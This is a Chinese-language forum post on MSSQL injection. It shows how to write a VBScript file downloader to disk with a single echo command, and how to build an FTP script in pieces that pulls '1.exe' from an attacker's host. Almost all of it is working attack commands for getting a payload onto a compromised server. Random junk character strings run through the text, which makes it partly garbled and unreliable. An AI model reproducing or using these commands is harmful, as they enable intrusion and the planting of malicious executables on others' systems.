mssql注射时不可以多次echo的解决办法

韩冰

<>解决办法:
2 U7 J. A) z9 R  d  S1 `2 J1.iget.vbs一次写入
在vbs语句的接触是符号是: 所以我们iget.vbs可以这样写
/ ~) Q5 Z2 y$ a4 k5 R. A5 d
Set x= CreateObject("Microsoft.XMLHTTP"):x.Open "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2

- @# W7 `& N# b: C5 v' L! g, z; P' i这样我们可以一次echo成功,echo版本:

echo Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 &gt;iget.vbs


! ?9 D4 z9 P, J% ^& F' u/ I2.bat调用ftp脚本的写法(by envymask)

echo ftp&gt;1.vbs
echo open ip&gt;2.vbs
echo u&gt;3.vbs
4 h2 I8 J- N6 n- ?, d! lecho s&gt;4.vbs
echo binary&gt;5.vbs
' }) ~, B( [9 [# p$ W+ f# [echo get 1.exe&gt;6.vbs
echo bay&gt;7.vbs
0 u( z( w; D9 t6 o/ K* v. ?
$ Z  ~( l9 d/ ]; fcopy 1.vbs+2.vbs+3.vbs+4.vbs+5.vbs+6.vbs+7.vbs new.vbs
</P>